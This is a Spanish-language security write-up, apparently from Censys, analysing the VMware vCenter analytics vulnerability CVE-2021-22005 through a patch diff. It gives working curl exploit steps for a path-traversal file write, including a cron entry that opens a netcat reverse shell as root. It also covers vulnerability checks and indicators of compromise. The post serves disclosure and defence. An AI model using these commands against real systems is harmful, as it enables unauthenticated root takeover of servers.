Actualización 2 (2021-09-28)
@wvuuuuuuuuuuuuu reveló cómo obtener la ejecución utilizando este punto final de la API. El método simplemente requiere escribir en /etc/cron.d. Tanto /dataapp como /hyper/send handler RCE PoCs son ahora completamente públicos.
Actualización 1 (2021-09-23, poco después de la publicación)
@testanull en Twitter afirma que CEIP no es un requisito para la ejecución, lo que implica que hay múltiples vulnerabilidades (puntos de debilidad / correcciones independientes) que forman parte de CVE-2021-22005.
Visión general
El 21 de septiembre, VMware anunció una nueva vulnerabilidad CVSS 9.8, CVE-2021-22005, como parte de VMSA-2021-0020 - una vulnerabilidad crítica de ejecución remota no autenticada en el servicio de análisis de vCenter que los administradores deben parchear inmediatamente.
Nota: Este post se actualizó el 2021-09-28 para incluir los detalles que conducen a la ejecución remota de código después de que se hiciera pública la disponibilidad de un exploit que conduce a la ejecución para ambos extremos de la API afectados por CVE-2021-22005. Anteriormente, no incluimos estos detalles para permitir a los profesionales tiempo adicional para parchear.
Datos clave:
- Varias entidades parecen estar buscando instancias vulnerables utilizando la solución proporcionada por VMware.
- La causa principal está relacionada con la gestión incorrecta de los parámetros de solicitud proporcionados por el usuario en el servicio de análisis CEIP (Programa de mejora de la experiencia del cliente) de VMware vCenter. CEIP es "opt-out" por defecto.
- Están afectadas las versiones 6.7 y 7.0 de VMware vCenter.
- Se confirma que las implantaciones basadas en Linux son explotables con ejecución de código, los hosts basados en Windows son probablemente explotables (con ejecución más difícil).
- La explotación requiere dos peticiones web no autenticadas.
- Utilizando una simple consulta de búsqueda, Censys determinó que algo más de 7.000 servicios en la Internet pública se identifican como VMWare vCenter. 3.264 hosts que están orientados a Internet son potencialmente vulnerables, 436 están parcheados y 1.369 no son aplicables (versión no afectada) o tienen aplicada la solución alternativa.
La ubicación de todos los hosts VMware vCenter accesibles a través de Internet
Análisis técnico
Una vulnerabilidad CVSS de 9,8 generalmente implica una ejecución remota de baja complejidad, como demuestra esta visualización de la calculadora CVSSv3 de first.org:
Resultó que la propia VMware publicó una importante "ventaja" sobre el exploit a través de su solución, documentada en la KB de la solución para CVE-2021-22005:
14) Para confirmar que la solución ha surtido efecto, puede realizar una prueba ejecutando el siguiente comando
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP
Esto nos dice que el punto final específico de la API que es vulnerable es /analytics/telemetry/ph/api/hyper/send
. Es importante tener en cuenta que el puerto de servicio anterior (15080) es el puerto interno del servicio de análisis, aunque el puerto web de vCenter (443) proxy las solicitudes a ese servicio directamente. Puede simplemente enviar la misma solicitud al punto final https para lograr la ejecución. Así pues, con este consejo de VMware, analicemos lo que se ha solucionado.
Descubrir la causa
Para ver las diferencias entre una versión vulnerable del software y una versión no vulnerable, descargamos dos ISO del sitio web de VMWare. Según la KB de la solución, la versión parcheada fue publicada por VMWare en la versión 18356314 (7.0U2c). Así que se descargaron las dos ISO siguientes:
- Versión vulnerable: v17958471(7.0U2b) del 25 de mayo de 2021
- Versión parcheada: v18455184(7.0U2d) del 21 de septiembre de 2021
Estos archivos ISO contienen un montón de archivos de biblioteca, así que para no aburrir al lector, vamos a saltar y señalar que los archivos parcheados de interés se encuentran en los archivos RPM para el servicio de análisis de VMware:
- VMware-analytics-7.0.2.00400-9102561.x86_64.rpm (parcheado, el RPM procede de 18455184)
- VMware-analytics-7.0.2.00000-8630354.x86_64.rpm (sin parches, el RPM procede de 17958471)
Con esto en la mano, podemos extraer el contenido del RPM:
rpm2cpio <RPMFILE> | cpio -idmv
Lo que producirá una estructura del sistema de archivos en el directorio actual:
$ ls
etc usr var
$ find etc
etc
etc/vmware
etc/vmware/appliance
etc/vmware/appliance/firewall
etc/vmware/appliance/firewall/vmware-analytics
etc/vmware/vm-support
etc/vmware/vm-support/analytics-noarch.mfx
etc/vmware/backup
etc/vmware/backup/manifests
etc/vmware/backup/manifests/analytics.json
...
$ find usr
find usr
usr
usr/lib
usr/lib/vmware-analytics
usr/lib/vmware-analytics/lib
usr/lib/vmware-analytics/lib/dataapp.txt
usr/lib/vmware-analytics/lib/vimVersions-7.0.2.jar
usr/lib/vmware-analytics/lib/cls-vmodl2-bindings-7.0.2.jar
usr/lib/vmware-analytics/lib/jcabi-log-0.17.jar
usr/lib/vmware-analytics/lib/analytics-push-telemetry-vcenter-7.0.2.jar
usr/lib/vmware-analytics/lib/analytics-common-vapi-7.0.2.jar
...
Ahora podemos extraer el contenido de los archivos de clase en /tmp utilizando unzip, y comparar las versiones parcheadas y no parcheadas, buscando referencias a "hyper":
grep -lr hyper /tmp/unpatched/
/tmp/unpatched/com/vmware/vim/binding/vim/host/CpuSchedulerSystem.class
/tmp/unpatched/com/vmware/vim/binding/vim/host/ConfigInfo.class
/tmp/unpatched/com/vmware/vim/binding/vim/vm/device/VirtualVMCIDevice$Protocol.class
/tmp/unpatched/com/vmware/analytics/vapi/TelemetryDefinitions.class
/tmp/unpatched/com/vmware/ph/upload/rest/PhRestClientImpl.class
/tmp/unpatched/com/vmware/ph/phservice/push/telemetry/server/AsyncTelemetryController.class
/tmp/unpatched/com/vmware/ph/phservice/common/ph/RtsUriFactory.class
Tener experiencia en desarrollo (especialmente con Java y Spring) ayudará significativamente aquí, ya que generalmente, los puntos finales de la API serían manejados por "Controladores" en arquitecturas basadas en modelo-vista-controlador (MVC). La clase más interesante que podemos ver aquí es AsyncTelemetryController
. Diferenciar la salida del CFR descompilador en los archivos de clase Java, hemos sido capaces de determinar la siguiente función se cambió de:
private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
final TelemetryRequest telemetryRequest = AsyncTelemetryController.createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
return new Callable<ResponseEntity<Void>>(){
@Override
public ResponseEntity<Void> call() throws Exception {
if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
}
telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
return new ResponseEntity(HttpStatus.CREATED);
}
};
}
A los siguientes:
private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
final TelemetryRequest telemetryRequest = AsyncTelemetryController.createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
return new Callable<ResponseEntity<Void>>(){
@Override
public ResponseEntity<Void> call() throws Exception {
if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
}
if (!IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) || !AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)) {
_log.debug((Object)String.format("Incorrect collectorId '%s' or collectorInstanceId '%s'. Returning 400.", LogUtil.sanitiseForLog(collectorId), LogUtil.sanitiseForLog(collectorInstanceId)));
return new ResponseEntity(HttpStatus.BAD_REQUEST);
}
telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
return new ResponseEntity(HttpStatus.CREATED);
}
};
}
Esta función se ejecuta cuando se envía una solicitud HTTP POST a una de las siguientes direcciones /ph-stg/api/hyper/send
o /ph/api/hyper/send
. Además del original comprobación de limitación de velocidad (isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)
), podemos ver dos nuevas condiciones:
!IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId)
- Una simple comprobación basada en expresiones regulares (
[\w-]
) para comprobar que el formato del identificador de instancia de recopilador (el parámetro de consulta _i) es válido y no contiene caracteres no válidos.
!AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)
- Asegúrese de que el identificador del recopilador entrante se encuentra en la carpeta
collectorIdWhitelist
matriz.
Para cebar el nuevo collectorIdWhitelist
se ha añadido la siguiente propiedad /etc/vmware-analytics/phservice.properties
:
ph.collectorId.whitelist=vsphere.wcp.tp_1_0_0, SVC.1_0, SVC.1_0_U1, vsphere.gcm.1_0_0, vCSA.7_0, \
vCSA.7_0_1, vc_vcls.7_0_U2, vc_vlcm_dnp_7.0, vvts.7_0, vSphere.vapi.6_7, vSphere.vpxd.vmprov.6_7, \
vcenter-all.vpxd.drs.7_0u1, vcenter-all.vpxd.hdcs.7_0u2, h5c.6_8, vcenter_postgres, \
vc_lcm_api_stage2.6_7, vCSACLI.7_0_2, multisddc.1, hlm, hlm_gateway, vlcm.7_0_2, vlcm.7_0_3, testPush.1_0
Investigación de la explotación
Entender los nuevos condicionales en AsyncTelemetryController hace que el desarrollo de vulnerabilidades sea trivial. Usted está, en efecto, pidiendo al servicio de análisis no autenticado de VMware (el cual recolecta datos de telemetría de otros componentes de vCenter para reportar a la nube de VMware) que escriba un archivo al disco en una ruta de su elección. Cuando los datos se envían al servicio de telemetría, primero se escriben en un archivo de registro utilizando log4j2
en el /var/log/vmware/analytics/stage
(si se utiliza el /ph-stg
punto final), o /var/log/vmware/analytics/prod
(si se utiliza el /ph
punto final).
Podemos ver cómo se genera el nombre de archivo mirando en la clase LogTelemetryService:
@Override
public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
ThreadContext.put((String)CTX_LOG_TELEMETRY_DIR_PATH, (String)this._logDirPath.normalize().toString());
ThreadContext.put((String)CTX_LOG_TELEMETRY_FILE_NAME, (String)LogTelemetryUtil.getLogFileNamePattern(collectorId, collectorInstanceId));
for (TelemetryRequest telemetryRequest : telemetryRequests) {
this._logger.info(LogTelemetryService.serializeToLogMessage(telemetryRequest));
}
return new ResultFuture<Boolean>(Boolean.TRUE);
}
La llamada a la serialización en processTelemetry
no es interesante para la explotación secundaria (lo que significa que no hay posibilidad de ejecución de código utilizando gadgets de deserialización), ya que simplemente está escribiendo el contenido del cuerpo POST que se captura en la solicitud directamente en el archivo.
Sin embargo, el usuario controla el nombre de archivo que log4j2 utiliza finalmente para escribir el archivo. Por lo tanto, los valores cuidadosamente elaborados en nuestro _i
puede hacer que los archivos se escriban en una ruta arbitraria del disco. En nuestras pruebas, CEIP (Programa de Mejora de la Experiencia del Cliente) debe estar activado para que esta hazaña funcione.ya que el código de telemetría comprueba el estado de inscripción del servicio CEIP y falla si está desactivado.
Sin más preámbulos, el exploit necesita dos etapas:
En primer lugar, hay que crear el "colector" de telemetría, utilizando /
como prefijo de _i
para crear un directorio bajo /var/log/vmware/analytics/prod
(crear un archivo con un nombre aleatorio como /var/log/vmware/analytics/prod/_c_i/1234.json
):
curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/$RANDOM" -H Content-Type: -d ""
Al hacerlo, el servidor creará un directorio bajo /var/log/vmware/analytics/prod/
con el formato que se encuentra en getLogFileNamePattern
. Por ejemplo, _c=&_i=/stuff
se resolverá: /var/log/vmware/analytics/prod/_c_i/stuff.json
y si el _c_i/
no existe dentro del subdirectorio /var/log/vmware/analytics/prod/
se creará en ese momento.
A continuación, enviamos la carga útil, que escribirá un archivo json arbitrario en cualquier lugar del sistema de archivos como usuario root. Cualquier directorio padre en la ruta también se creará si no existe.
curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../tmp/foo" -H Content-Type: -d 'contents here will be directly written to /tmp/foo.json as root'
Usando el ejemplo de nuestra primera petición, el servidor verá esto como: /var/log/vmware/analytics/prod/_c_i/../../../../../../tmp/foo.json
donde escribirá el contenido de la solicitud. El contenido del cuerpo de la solicitud (indicado por -d) se escribirá directamente en el archivo, tal cual (no es necesario que el contenido sea JSON)..
Una vez escrito el archivo, el último paso es encontrar un mecanismo externo que ejecute los datos contenidos en el archivo. Esto no es difícil, ya que hay ubicaciones muy conocidas en los sistemas operativos basados en Linux que leerán un archivo con cualquier extensión y ejecutarán su contenido. Censys ha confirmado la ejecución, pero no publicará este último paso para dar a los defensores un poco más de tiempo para parchear. Crédito a wvu de Rapid7 para co
Actualización (2021-09-28): Dado que una ruta para RCE ha sido completamente revelada en Twitter, hemos decidido actualizar este post con esas instrucciones. La ejecución como root se puede obtener escribiendo en crontab (/etc/cron.d):
curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh $RHOST $RPORT"
Identificación de la vulnerabilidad
La solución de VMware menciona una solicitud cURL (también en su script de mitigación python) que se puede enviar para identificar qué hosts son vulnerables:
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP
Sin embargo, esta solicitud creará un archivo en el directorio analytics/prod log. Además, este endpoint no determinará si CEIP está habilitado. Si CEIP está deshabilitado, en nuestras pruebas, las rutas de código vulnerables se saldrían (con un 201/Created). Teorizamos que deshabilitar CEIP después de que esté habilitado puede no eliminar completamente la vulnerabilidad, ya que el código de VMware analytics contiene mecanismos de caché que pueden no ser vaciados.
Se puede realizar una solicitud cURL más relevante contra el punto final /analytics/telemetry/ph/api/level, que no creará un archivo:
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
- Si el servidor responde con un 200/OK y cualquier cosa que no sea "OFF" en el cuerpo de la respuesta (como "FULL"), es vulnerable.
- Si responde con 200/OK y el contenido del cuerpo es "OFF", es probable que no sea vulnerable y que tampoco tenga parches si no se aplica ninguna solución.
- Si responde con 400/Bad Request, se le aplica un parche. Esta comprobación aprovecha el hecho de que las instancias parcheadas compararán el ID de recopilador (_c) con una lista de ID de recopiladores conocidos/aceptados.
- Si responde con 404, o bien no se aplica, o bien se ha aplicado la solución provisional. La solución desactiva los puntos finales de API afectados.
- Cualquier otro código de estado implica probablemente que no es aplicable.
Identificar los signos de compromiso
Identificar el compromiso es sencillo. Busque directorios creados bajo el /var/log/vmware/analytics/prod
o /var/log/vmware/analytics/stage
. Si hay subdirectorios allí, es probable que un actor haya ejecutado un exploit contra su host. Además, comprueba si hay archivos .json o .properties en /etc/cron.d (o rc.local). Esto supone que el actor no limpió sus acciones eliminando los archivos/directorios después de lograr la ejecución.
¿Qué hago ahora?
Esta vulnerabilidad, al igual que el problema "updateova" de hace unos meses, es bastante crítica. Las organizaciones deberían parchear sus instancias de vCenter tan pronto como puedan. El parche parece resolver satisfactoriamente el problema.
- Compruebe si está afectado mediante una simple petición cURL. Una respuesta 200/OK con cualquier cosa que no sea "OFF" en el cuerpo de la respuesta implica vulnerabilidad (esto significa que CEIP está activado y no se ha aplicado la solución / el parche):
curl -k -v “https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test”
- Las organizaciones deben aplicar los parches para su versión de vCenter indicados en el aviso VMware VMSA-2021-0020: https://www.vmware.com/security/advisories/VMSA-2021-0020.html.
- Censys los clientes pueden utilizar su inventario de hosts en nuestra plataforma Attack Surface Management para identificar automáticamente los hosts que dan a Internet, o Censys Search para encontrar vCenter en rangos de IP conocidos, basándose en CPE(services.software.uniform_resource_identifier: `cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*`)